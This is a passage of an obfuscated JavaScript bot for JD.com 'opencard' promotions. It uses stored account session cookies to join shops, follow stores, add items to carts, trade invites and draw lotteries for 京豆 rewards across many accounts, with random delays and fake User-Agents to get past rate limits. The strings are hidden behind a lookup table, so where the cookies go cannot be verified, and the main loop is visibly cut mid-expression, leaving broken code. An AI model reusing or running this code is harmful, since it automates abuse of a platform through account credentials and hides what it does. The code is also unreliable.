=![];$[_0x3a6d('16')]=![];$[_0x3a6d('17')]=![];let lz_jdpin_token_cookie='';let activityCookie='';!(async()=>{if($[_0x3a6d('0')]()){if(guaopencard+''!=_0x3a6d('18')){console[_0x3a6d('7')](_0x3a6d('19'));}if(guaopencard+''!=_0x3a6d('18')){return;}}if(!cookiesArr[0x0]){$[_0x3a6d('1a')]($[_0x3a6d('1b')],_0x3a6d('1c'),_0x3a6d('1d'),{'open-url':_0x3a6d('1d')});return;}$[_0x3a6d('1e')]=_0x3a6d('1f');$[_0x3a6d('20')]=_0x3a6d('21');console[_0x3a6d('7')](_0x3a6d('22')+$[_0x3a6d('1e')]+_0x3a6d('23')+$[_0x3a6d('20')]);for(let _0x3e310f=0x0;_0x3e310f$[_0x3a6d('30')](_0x278db3))[_0x3a6d('31')](()=>$[_0x3a6d('32')]());async function run(){try{$[_0x3a6d('33')]=!![];$[_0x3a6d('34')]=0x0;lz_jdpin_token_cookie='';$[_0x3a6d('35')]='';$[_0x3a6d('36')]='';let _0x444366=![];await takePostRequest(_0x3a6d('37'));if($[_0x3a6d('35')]==''){console[_0x3a6d('7')](_0x3a6d('38'));return;}await getCk();if(activityCookie==''){console[_0x3a6d('7')](_0x3a6d('39'));return;}if($[_0x3a6d('17')]===!![]){console[_0x3a6d('7')](_0x3a6d('3a'));return;}if($[_0x3a6d('16')]){console[_0x3a6d('7')](_0x3a6d('3b'));return;}await takePostRequest(_0x3a6d('3c'));await takePostRequest(_0x3a6d('3d'));if(!$[_0x3a6d('36')]){console[_0x3a6d('7')](_0x3a6d('3e'));return;}await takePostRequest(_0x3a6d('3f'));await takePostRequest(_0x3a6d('40'));await takePostRequest(_0x3a6d('41'));if(!$[_0x3a6d('2c')]){console[_0x3a6d('7')](_0x3a6d('42'));return;}if($[_0x3a6d('33')]===!![]||Date[_0x3a6d('43')]()>$[_0x3a6d('34')]){$[_0x3a6d('17')]=!![];console[_0x3a6d('7')](_0x3a6d('3a'));return;}await takePostRequest(_0x3a6d('44'));await $[_0x3a6d('45')](0x3e8);$[_0x3a6d('46')]=[];$[_0x3a6d('47')]=![];await takePostRequest(_0x3a6d('48'));await takePostRequest(_0x3a6d('49'));if($[_0x3a6d('47')]==![]){console[_0x3a6d('7')](_0x3a6d('4a'));for(o of $[_0x3a6d('46')]){$[_0x3a6d('4b')]=![];if(o[_0x3a6d('4c')]==0x0){_0x444366=!![];$[_0x3a6d('4d')]=o[_0x3a6d('4e')];await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0xbb8+0xbb8,0xa));await joinShop();await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x3e8+0x3e8,0xa));await takePostRequest(_0x3a6d('41'));await takePostRequest(_0x3a6d('44'));await takePostRequest(_0x3a6d('49'));await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0xbb8+0x7d0,0xa));}}}else{console[_0x3a6d('7')](_0x3a6d('50'));}$[_0x3a6d('7')](_0x3a6d('51')+$[_0x3a6d('52')]);if(!$[_0x3a6d('52')]&&!$[_0x3a6d('16')]){_0x444366=!![];await takePostRequest(_0x3a6d('52'));await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x7d0+0xbb8,0xa));}$[_0x3a6d('53')]=![];await takePostRequest('\u9080\u8bf7');if($[_0x3a6d('53')]){await takePostRequest('\u52a9\u529b');}$[_0x3a6d('7')](_0x3a6d('54')+$[_0x3a6d('55')]);if(!$[_0x3a6d('55')]&&!$[_0x3a6d('16')]){_0x444366=!![];await takePostRequest(_0x3a6d('55'));await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x7d0+0xbb8,0xa));}$[_0x3a6d('7')](_0x3a6d('56')+$[_0x3a6d('57')]);if(!$[_0x3a6d('57')]&&!$[_0x3a6d('16')]){if(guaopencard_addSku+''==_0x3a6d('18')){_0x444366=!![];await takePostRequest(_0x3a6d('57'));await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x7d0+0xfa0,0xa));}else{console[_0x3a6d('7')](_0x3a6d('58'));}}$[_0x3a6d('59')]=!![];$[_0x3a6d('7')](_0x3a6d('5a')+$[_0x3a6d('5b')]);if(!$[_0x3a6d('5b')]&&!$[_0x3a6d('16')]){_0x444366=!![];for(let _0x5f3943 of $[_0x3a6d('5c')]||[]){if($[_0x3a6d('59')]==![])break;if(_0x5f3943[_0x3a6d('5d')]&&_0x5f3943[_0x3a6d('4c')]===0x0){$[_0x3a6d('5e')]=_0x5f3943[_0x3a6d('5d')];await takePostRequest(_0x3a6d('5f'));await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0xbb8+0xbb8,0xa));}}}$[_0x3a6d('59')]=!![];for(m=0x1;$[_0x3a6d('60')]--;m++){if(Number($[_0x3a6d('60')])<=0x0)break;console[_0x3a6d('7')]('\u7b2c'+m+_0x3a6d('61'));await takePostRequest(_0x3a6d('62'));if($[_0x3a6d('59')]==![])break;await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x7d0+0x7d0,0xa));}if(_0x444366){await takePostRequest(_0x3a6d('41'));}console[_0x3a6d('7')]($[_0x3a6d('63')]+_0x3a6d('64')+$[_0x3a6d('65')]);await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x3e8+0x7d0,0xa));await takePostRequest(_0x3a6d('66'));await takePostRequest(_0x3a6d('67'));if($[_0x3a6d('16')]){console[_0x3a6d('7')](_0x3a6d('3b'));return;}console[_0x3a6d('7')]($[_0x3a6d('2c')]);console[_0x3a6d('7')](_0x3a6d('68')+$[_0x3a6d('20')]);if($[_0x3a6d('27')]==0x1){$[_0x3a6d('20')]=$[_0x3a6d('2c')];console[_0x3a6d('7')](_0x3a6d('69')+$[_0x3a6d('20')]);}await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x3e8+0x1388,0xa));if(_0x444366)await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x3e8+0x2710,0xa));if(guaopenwait){if($[_0x3a6d('27')]!=cookiesArr[_0x3a6d('24')]){console[_0x3a6d('7')]('\u7b49\u5f85'+guaopenwait+'\u79d2');await $[_0x3a6d('45')](parseInt(guaopenwait,0xa)*0x3e8);}}else{if($[_0x3a6d('27')]%0x3==0x0)console[_0x3a6d('7')](_0x3a6d('6a'));if($[_0x3a6d('27')]%0x3==0x0)await $[_0x3a6d('45')](parseInt(Math[_0x3a6d('4f')]()*0x1388+0xea60,0xa));}}catch(_0x11778e){console[_0x3a6d('7')](_0x11778e);}}async function takePostRequest(_0x2f4bde){if($[_0x3a6d('16')])return;let _0x35b6b8=_0x3a6d('6b');let _0x527eef='';let _0x6c0b29=_0x3a6d('6c');let _0x5291ae='';switch(_0x2f4bde){case _0x3a6d('37'):_0x35b6b8=_0x3a6d('6d');_0x527eef=_0x3a6d('6e');break;case _0x3a6d('3c'):_0x35b6b8=_0x35b6b8+_0x3a6d('6f');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')];break;case _0x3a6d('3d'):_0x35b6b8=_0x35b6b8+_0x3a6d('71');_0x527eef=_0x3a6d('72')+($[_0x3a6d('73')]||$[_0x3a6d('4e')]||'')+_0x3a6d('74')+$[_0x3a6d('35')]+_0x3a6d('75');break;case _0x3a6d('3f'):_0x35b6b8=_0x35b6b8+_0x3a6d('76');let _0x5160c4=_0x35b6b8+_0x3a6d('77')+$[_0x3a6d('1e')]+_0x3a6d('23')+$[_0x3a6d('20')];_0x527eef=_0x3a6d('78')+($[_0x3a6d('73')]||$[_0x3a6d('4e')]||'')+_0x3a6d('79')+encodeURIComponent($[_0x3a6d('36')])+_0x3a6d('7a')+$[_0x3a6d('1e')]+_0x3a6d('7b')+encodeURIComponent(_0x5160c4)+_0x3a6d('7c');break;case _0x3a6d('40'):_0x35b6b8=_0x35b6b8+_0x3a6d('7d');_0x527eef=_0x3a6d('7e')+encodeURIComponent($[_0x3a6d('36')]);break;case _0x3a6d('41'):_0x35b6b8=_0x35b6b8+_0x3a6d('7f');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')])+_0x3a6d('81')+encodeURIComponent($[_0x3a6d('82')])+_0x3a6d('83')+encodeURIComponent($[_0x3a6d('84')])+_0x3a6d('85')+$[_0x3a6d('20')];break;case _0x3a6d('44'):_0x35b6b8=_0x35b6b8+_0x3a6d('86');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')]);break;case _0x3a6d('49'):_0x35b6b8=_0x35b6b8+_0x3a6d('87');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')]);break;case _0x3a6d('48'):_0x35b6b8=_0x35b6b8+_0x3a6d('88');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')]);break;case _0x3a6d('62'):_0x35b6b8=_0x35b6b8+_0x3a6d('89');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')]);break;case _0x3a6d('52'):_0x35b6b8=_0x35b6b8+_0x3a6d('8a');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')]);break;case _0x3a6d('55'):case _0x3a6d('57'):case _0x3a6d('5f'):_0x35b6b8=_0x35b6b8+_0x3a6d('8b')+_0x2f4bde;_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')]);if(_0x2f4bde==_0x3a6d('5f'))_0x527eef+=_0x3a6d('8c')+$[_0x3a6d('5e')];break;case'\u9080\u8bf7':case'\u52a9\u529b':if(_0x2f4bde=='\u52a9\u529b'){_0x35b6b8=_0x35b6b8+_0x3a6d('8d');}else{_0x35b6b8=_0x35b6b8+_0x3a6d('8e');}_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')])+_0x3a6d('23')+$[_0x3a6d('20')];break;case _0x3a6d('8f'):case _0x3a6d('5b'):case _0x3a6d('90'):case _0x3a6d('91'):_0x35b6b8=_0x35b6b8+_0x3a6d('92');let _0x514aac='';let _0x2645df='';if(_0x2f4bde==_0x3a6d('8f')){_0x514aac=0x1f;_0x2645df=0x1f;}else if(_0x2f4bde==_0x3a6d('5b')){_0x514aac=0x5;_0x2645df=$[_0x3a6d('5e')]||0x5;}else if(_0x2f4bde==_0x3a6d('90')){_0x514aac=0xe;_0x2645df=$[_0x3a6d('93')]||0xe;}else if(_0x2f4bde==_0x3a6d('91')){_0x514aac=0x2;_0x2645df=$[_0x3a6d('94')]||0x2;}_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')])+_0x3a6d('95')+$[_0x3a6d('2c')]+_0x3a6d('96')+_0x514aac+_0x3a6d('97')+_0x2645df;break;case _0x3a6d('66'):_0x35b6b8=_0x35b6b8+_0x3a6d('98');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')])+_0x3a6d('95')+$[_0x3a6d('2c')];break;case _0x3a6d('67'):_0x35b6b8=_0x35b6b8+_0x3a6d('99');_0x527eef=_0x3a6d('70')+$[_0x3a6d('1e')]+_0x3a6d('80')+encodeURIComponent($[_0x3a6d('36')]);break;default:console[_0x3a6d('7')]('\u9519\u8bef'+_0x2f4bde);}let _0x29bfd7=getPostRequest(_0x35b6b8,_0x527eef,_0x6c0b29);return new Promise(async _0x1372dd=>{$[_0x3a6d('9a')](_0x29bfd7,(_0xd49002,_0x1691d5,_0x57d898)=>{try{setActivityCookie(_0x1691d5);if(_0xd49002){if(_0x1691d5&&typeof _0x1691d5[_0x3a6d('9b')]!=_0x3a6d('9c')){if(_0x1691d5[_0x3a6d('9b')]==0x1ed){console[_0x3a6d('7')](_0x3a6d('3b'));$[_0x3a6d('16')]=!![];}}console[_0x3a6d('7')](''+$[_0x3a6d('9d')](_0xd49002,_0xd49002));console[_0x3a6d('7')](_0x2f4bde+_0x3a6d('9e'));}else{dealReturn(_0x2f4bde,_0x57d898);}}catch(_0x1ad428){console[_0x3a6d('7')](_0x1ad428,_0x1691d5);}finally{_0x1372dd();}});});}async function dealReturn(_0x18ddac,_0x40a705){let _0x5acf5c='';try{if(_0x18ddac!=_0x3a6d('3f')||_0x18ddac!=_0x3a6d('44')){if(_0x40a705){_0x5acf5c=JSON[_0x3a6d('9f')](_0x40a705);}}}catch(_0x4e1735){console[_0x3a6d('7')](_0x18ddac+_0x3a6d('a0'));console[_0x3a6d('7')](_0x40a705);$[_0x3a6d('59')]=![];}try{switch(_0x18ddac){case _0x3a6d('37'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a2')]==0x0){if(typeof _0x5acf5c[_0x3a6d('a3')]!=_0x3a6d('9c'))$[_0x3a6d('35')]=_0x5acf5c[_0x3a6d('a3')];}else if(_0x5acf5c[_0x3a6d('a4')]){console[_0x3a6d('7')](_0x3a6d('a5')+(_0x5acf5c[_0x3a6d('a4')]||''));}else{console[_0x3a6d('7')](_0x40a705);}}else{console[_0x3a6d('7')](_0x40a705);}break;case _0x3a6d('3c'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]){if(typeof _0x5acf5c[_0x3a6d('a7')][_0x3a6d('73')]!=_0x3a6d('9c'))$[_0x3a6d('73')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('73')];if(typeof _0x5acf5c[_0x3a6d('a7')][_0x3a6d('4e')]!=_0x3a6d('9c'))$[_0x3a6d('4e')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('4e')];}else if(_0x5acf5c[_0x3a6d('a8')]){console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case _0x3a6d('3d'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]){if(_0x5acf5c[_0x3a6d('a7')]&&typeof _0x5acf5c[_0x3a6d('a7')][_0x3a6d('a9')]!=_0x3a6d('9c'))$[_0x3a6d('36')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('a9')];if(_0x5acf5c[_0x3a6d('a7')]&&typeof _0x5acf5c[_0x3a6d('a7')][_0x3a6d('84')]!=_0x3a6d('9c'))$[_0x3a6d('84')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('84')];}else if(_0x5acf5c[_0x3a6d('a8')]){console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case _0x3a6d('40'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]){if(_0x5acf5c[_0x3a6d('a7')]&&typeof _0x5acf5c[_0x3a6d('a7')][_0x3a6d('aa')]!=_0x3a6d('9c'))$[_0x3a6d('82')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('aa')]||_0x3a6d('ab');}else if(_0x5acf5c[_0x3a6d('a8')]){console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case _0x3a6d('41'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]){$[_0x3a6d('34')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('34')]||_0x5acf5c[_0x3a6d('a7')][_0x3a6d('ac')][_0x3a6d('34')]||0x0;$[_0x3a6d('33')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('ad')]||![];$[_0x3a6d('60')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('ae')][_0x3a6d('60')]||0x0;$[_0x3a6d('65')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('ae')][_0x3a6d('65')]||0x0;$[_0x3a6d('63')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('ae')][_0x3a6d('63')]||0x0;$[_0x3a6d('2c')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('ae')][_0x3a6d('2c')]||'';}else if(_0x5acf5c[_0x3a6d('a8')]){console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case _0x3a6d('48'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]){$[_0x3a6d('57')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('57')]||![];$[_0x3a6d('52')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('52')]||![];$[_0x3a6d('55')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('55')]||![];$[_0x3a6d('5b')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('5b')]||![];$[_0x3a6d('5c')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('5c')]||[];}else if(_0x5acf5c[_0x3a6d('a8')]){console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case _0x3a6d('49'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]){let _0x30ab20=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('af')]||[];let _0x34fb30=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b0')]||[];let _0x45dea6=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b1')]||[];let _0x30e3aa=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b2')]||[];$[_0x3a6d('46')]=[..._0x45dea6,..._0x30ab20,..._0x34fb30,..._0x30e3aa];$[_0x3a6d('47')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('47')]||![];$[_0x3a6d('b3')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b4')]||0x0;$[_0x3a6d('b5')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b6')]||0x0;$[_0x3a6d('b7')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b7')]||0x0;}else if(_0x5acf5c[_0x3a6d('a8')]){console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case _0x3a6d('62'):case _0x3a6d('52'):case _0x3a6d('8f'):case _0x3a6d('5b'):case _0x3a6d('90'):case _0x3a6d('91'):case _0x3a6d('55'):case _0x3a6d('57'):case _0x3a6d('5f'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]){if(typeof _0x5acf5c[_0x3a6d('a7')]==_0x3a6d('a1')){let _0x152372='';let _0x17e922='\u62bd\u5956';if(_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b8')]){_0x152372=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b8')]+'\u4eac\u8c46';}if(_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b9')]){_0x152372+='\x20'+_0x5acf5c[_0x3a6d('a7')][_0x3a6d('b9')]+_0x3a6d('ba');}if(_0x18ddac==_0x3a6d('52')){_0x17e922='\u5173\u6ce8';if(_0x5acf5c[_0x3a6d('a7')][_0x3a6d('bb')]&&_0x5acf5c[_0x3a6d('a7')][_0x3a6d('bc')]){_0x152372+=_0x3a6d('bd')+_0x5acf5c[_0x3a6d('a7')][_0x3a6d('bb')]+'\u4eac\u8c46';}}else if(_0x18ddac==_0x3a6d('91')||_0x18ddac==_0x3a6d('57')){_0x17e922='\u52a0\u8d2d';}else if(_0x18ddac==_0x3a6d('8f')){_0x17e922=_0x3a6d('be');}else if(_0x18ddac==_0x3a6d('90')){_0x17e922=_0x3a6d('bf');}else if(_0x18ddac==_0x3a6d('5b')||_0x18ddac==_0x3a6d('5f')){_0x17e922=_0x3a6d('c0');}else if(_0x18ddac==_0x3a6d('55')){_0x17e922='\u7b7e\u5230';}else{_0x152372=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('c1')]==!![]&&(_0x5acf5c[_0x3a6d('a7')][_0x3a6d('c2')]==0x6&&_0x5acf5c[_0x3a6d('a7')][_0x3a6d('1b')]||'')||_0x3a6d('c3');}if(!_0x152372){_0x152372=_0x3a6d('c3');}console[_0x3a6d('7')](_0x17e922+_0x3a6d('c4')+(_0x152372||_0x40a705));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else if(_0x5acf5c[_0x3a6d('a8')]){$[_0x3a6d('59')]=![];console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case _0x3a6d('66'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]){console[_0x3a6d('7')](_0x3a6d('c5'));let _0x2fdb72=0x0;let _0x1beab1=0x0;for(let _0x19e3a2 in _0x5acf5c[_0x3a6d('a7')][_0x3a6d('c6')]){let _0x23a386=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('c6')][_0x19e3a2];if(_0x23a386[_0x3a6d('c7')]==_0x3a6d('c8')){_0x2fdb72++;_0x1beab1=_0x23a386[_0x3a6d('c7')][_0x3a6d('c9')]('\u4eac\u8c46','');}else{console[_0x3a6d('7')](''+(_0x23a386[_0x3a6d('ca')]!=0xa&&_0x23a386[_0x3a6d('cb')]&&_0x23a386[_0x3a6d('cb')]+'\x3a'||'')+_0x23a386[_0x3a6d('c7')]);}}if(_0x2fdb72>0x0)console[_0x3a6d('7')](_0x3a6d('cc')+_0x2fdb72+'\x29\x3a'+(_0x2fdb72*parseInt(_0x1beab1,0xa)||0x1e)+'\u4eac\u8c46');}else if(_0x5acf5c[_0x3a6d('a8')]){console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case _0x3a6d('67'):if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a6')]&&_0x5acf5c[_0x3a6d('a6')]===!![]&&_0x5acf5c[_0x3a6d('a7')]){$[_0x3a6d('cd')]=_0x5acf5c[_0x3a6d('a7')][_0x3a6d('ce')][_0x3a6d('24')];$[_0x3a6d('7')](_0x3a6d('cf')+_0x5acf5c[_0x3a6d('a7')][_0x3a6d('ce')][_0x3a6d('24')]+'\u4e2a');}else if(_0x5acf5c[_0x3a6d('a8')]){console[_0x3a6d('7')](_0x18ddac+'\x20'+(_0x5acf5c[_0x3a6d('a8')]||''));}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}break;case'\u9080\u8bf7':case'\u52a9\u529b':if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a7')][_0x3a6d('4c')]==0xc8){if(_0x18ddac=='\u52a9\u529b'){console[_0x3a6d('7')](_0x3a6d('d0'));}else{$[_0x3a6d('53')]=!![];}}else if(_0x5acf5c[_0x3a6d('a7')][_0x3a6d('4c')]==0x69){console[_0x3a6d('7')](_0x3a6d('d1'));}else if(_0x5acf5c[_0x3a6d('a7')][_0x3a6d('4c')]==0x68){console[_0x3a6d('7')](_0x3a6d('d2'));}else if(_0x5acf5c[_0x3a6d('a7')][_0x3a6d('4c')]==0x65){}else{console[_0x3a6d('7')](_0x40a705);}}else{console[_0x3a6d('7')](_0x18ddac+'\x20'+_0x40a705);}case _0x3a6d('3f'):case _0x3a6d('44'):break;default:console[_0x3a6d('7')](_0x18ddac+_0x3a6d('d3')+_0x40a705);}if(typeof _0x5acf5c==_0x3a6d('a1')){if(_0x5acf5c[_0x3a6d('a8')]){if(_0x5acf5c[_0x3a6d('a8')][_0x3a6d('d4')]('\u706b\u7206')>-0x1){$[_0x3a6d('15')]=!![];}}}}catch(_0x1ce252){console[_0x3a6d('7')](_0x1ce252);}}function getPostRequest(_0x7cec1d,_0x1fb379,_0x34df10=_0x3a6d('6c')){let _0x3bd055={'Accept':_0x3a6d('d5'),'Accept-Encoding':_0x3a6d('d6'),'Accept-Language':_0x3a6d('d7'),'Connection':_0x3a6d('d8'),'Content-Type':_0x3a6d('d9'),'Cookie':cookie,'User-Agent':$['\x55\x41'],'X-Requested-With':_0x3a6d('da')};if(_0x7cec1d[_0x3a6d('d4')](_0x3a6d('6b'))>-0x1){_0x3bd055[_0x3a6d('db')]=_0x3a6d('dc')+$[_0x3a6d('1e')]+_0x3a6d('23')+$[_0x3a6d('20')];_0x3bd055[_0x3a6d('dd')]=''+(lz_jdpin_token_cookie&&lz_jdpin_token_cookie||'')+($[_0x3a6d('36')]&&_0x3a6d('de')+$[_0x3a6d('36')]+'\x3b'||'')+activityCookie;}return{'\x75\x72\x6c':_0x7cec1d,'\x6d\x65\x74\x68\x6f\x64':_0x34df10,'\x68\x65\x61\x64\x65\x72\x73':_0x3bd055,'\x62\x6f\x64\x79':_0x1fb379,'\x74\x69\x6d\x65\x6f\x75\x74':0x7530};}function getCk(){/* ck */return new Promise(_0x4e7ad0=>{let _0x57ff06={'\x75\x72\x6c':_0x3a6d('dc')+$[_0x3a6d('1e')]+_0x3a6d('23')+$[_0x3a6d('20')],'\x66\x6f\x6c\x6c\x6f\x77\x52\x65\x64\x69\x72\x65\x63\x74':![],'\x68\x65\x61\x64\x65\x72\x73':{'User-Agent':$['\x55\x41']},'\x74\x69\x6d\x65\x6f\x75\x74':0x7530};$[_0x3a6d('df')](_0x57ff06,async(_0x41ba0c,_0x569d10,_0x8ca25b)=>{try{if(_0x41ba0c){if(_0x569d10&&typeof _0x569d10[_0x3a6d('9b')]!=_0x3a6d('9c')){if(_0x569d10[_0x3a6d('9b')]==0x1ed){console[_0x3a6d('7')](_0x3a6d('3b'));$[_0x3a6d('16')]=!![];}}console[_0x3a6d('7')](''+$[_0x3a6d('9d')](_0x41ba0c));console[_0x3a6d('7')]($[_0x3a6d('1b')]+_0x3a6d('e0'));}else{let _0x4551cb=_0x8ca25b[_0x3a6d('26')](/(活动已经结束)/)&&_0x8ca25b[_0x3a6d('26')](/(活动已经结束)/)[0x1]||'';if(_0x4551cb){$[_0x3a6d('17')]=!![];console[_0x3a6d('7')](_0x3a6d('e1'));}setActivityCookie(_0x569d10);}}catch(_0x29105a){$[_0x3a6d('30')](_0x29105a,_0x569d10);}finally{_0x4e7ad0();}});});}function setActivityCookie(_0x15e39a){let _0x45d444='';let _0xbd0346='';let _0x17e729='';let _0x4b4f7c=_0x15e39a&&_0x15e39a[_0x3a6d('e2')]&&(_0x15e39a[_0x3a6d('e2')][_0x3a6d('e3')]||_0x15e39a[_0x3a6d('e2')][_0x3a6d('e4')]||'')||'';let _0x48b6c4='';if(_0x4b4f7c){if(typeof _0x4b4f7c!=_0x3a6d('a1')){_0x48b6c4=_0x4b4f7c[_0x3a6d('e5')]('\x2c');}else _0x48b6c4=_0x4b4f7c;for(let _0x290a7b of _0x48b6c4){let _0xbc7704=_0x290a7b[_0x3a6d('e5')]('\x3b')[0x0][_0x3a6d('e6')]();if(_0xbc7704[_0x3a6d('e5')]('\x3d')[0x1]){if(_0xbc7704[_0x3a6d('d4')](_0x3a6d('e7'))>-0x1)_0x45d444=_0xbc7704[_0x3a6d('c9')](/ /g,'')+'\x3b';if(_0xbc7704[_0x3a6d('d4')](_0x3a6d('e8'))>-0x1)_0xbd0346=_0xbc7704[_0x3a6d('c9')](/ /g,'')+'\x3b';if(_0xbc7704[_0x3a6d('d4')](_0x3a6d('e9'))>-0x1)_0x17e729=''+_0xbc7704[_0x3a6d('c9')](/ /g,'')+'\x3b';}}}if(_0x45d444&&_0xbd0346)activityCookie=_0x45d444+'\x20'+_0xbd0346;if(_0x17e729)lz_jdpin_token_cookie=_0x17e729;}async function getUA(){$['\x55\x41']=_0x3a6d('ea')+randomString(0x28)+_0x3a6d('eb');}function 